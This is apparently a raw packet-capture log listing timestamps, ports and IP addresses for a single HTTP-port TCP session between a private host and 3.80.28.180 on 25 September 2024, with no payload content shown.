Sep 25, 2024 03:51:32.653964996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653975964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.653989077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654000044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654004097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654007912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654022932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654023886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654035091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654041052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654047012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654051065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654055119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654095888 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654268026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654373884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654392004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654406071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654417992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654423952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654423952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654434919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654447079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654459953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654470921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654472113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654484987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654490948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654498100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654510975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654532909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654855967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654866934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654889107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654897928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654907942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654908895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654923916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654934883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654939890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654947996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654958963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654963017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.654973030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.654993057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655021906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655278921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655289888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655299902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655313015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655324936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655327082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655337095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655354977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655364990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655366898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655376911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655379057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655400038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655412912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655424118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655436993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655441046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655450106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655462027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655472040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655483007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655489922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655489922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655494928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655500889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655508041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655519009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655530930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655539989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655541897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655558109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655565977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655571938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.655584097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.655635118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656303883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656322002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656332970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656343937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656356096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656367064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656372070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656379938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656393051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656394958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656405926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656405926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656418085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656430006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656439066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656443119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656455040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656461000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656469107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656482935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656492949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656497955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656505108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656517029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656528950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656531096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656543016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656548977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656555891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656565905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656575918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.656577110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.656613111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657241106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657253027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657278061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657289028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657298088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657300949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657315969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657325029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657330036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657342911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657347918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657354116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657366037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657371998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657378912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657391071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657397032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657402039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657409906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.657418013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.657444954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.680255890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680269003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680282116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680314064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.680351019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680351973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.680366039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680413961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.680449963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680463076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680474997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.680499077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.733604908 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752360106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752372026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752382040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752402067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752413034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752424955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752480984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752492905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752504110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752504110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752523899 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752633095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752645016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752657890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752670050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752686977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752716064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752803087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752815008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752825975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752857924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752887011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752897024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752912045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.752931118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.752944946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753051043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753062010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753073931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753086090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753098011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753108025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753117085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753120899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753128052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753137112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753151894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753326893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753339052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753350973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753360987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753379107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753396034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753488064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753500938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753513098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753523111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753535032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753540993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753546953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753559113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753563881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753585100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753772974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753786087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753797054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753807068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753818989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753828049 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753833055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753839016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753844976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753860950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753863096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753874063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.753885984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.753912926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754107952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754120111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754139900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754152060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754162073 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754163980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754177094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754185915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754190922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754203081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754214048 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754215956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754229069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754237890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754240990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754252911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754265070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754277945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754288912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754291058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754309893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754333973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754343987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754805088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754817009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754836082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754846096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754857063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754859924 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754869938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754879951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754880905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754894972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754904985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754906893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754920006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754933119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754933119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754945993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754957914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754968882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.754976034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.754987955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755001068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755012989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755012989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755012989 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755024910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755033016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755038977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755055904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755058050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755069017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755081892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755094051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755106926 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755120039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755707026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755717993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755728006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755739927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755752087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755769014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755773067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755781889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755784035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755796909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755810022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755821943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.755822897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.755855083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756061077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756079912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756093025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756103992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756104946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756118059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756129026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756135941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756143093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756153107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756154060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756167889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756181002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756192923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756202936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756553888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756567001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756580114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756592035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756603956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756614923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756624937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756627083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756635904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756637096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756647110 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756649971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756664038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756664991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756676912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756690025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756702900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.756710052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756733894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.756757021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.771370888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771413088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771425009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771472931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.771537066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771548986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771560907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771572113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771583080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:32.771598101 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.771614075 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:32.771621943 CEST	49730	80	192.168.2.4	3.80.28.180
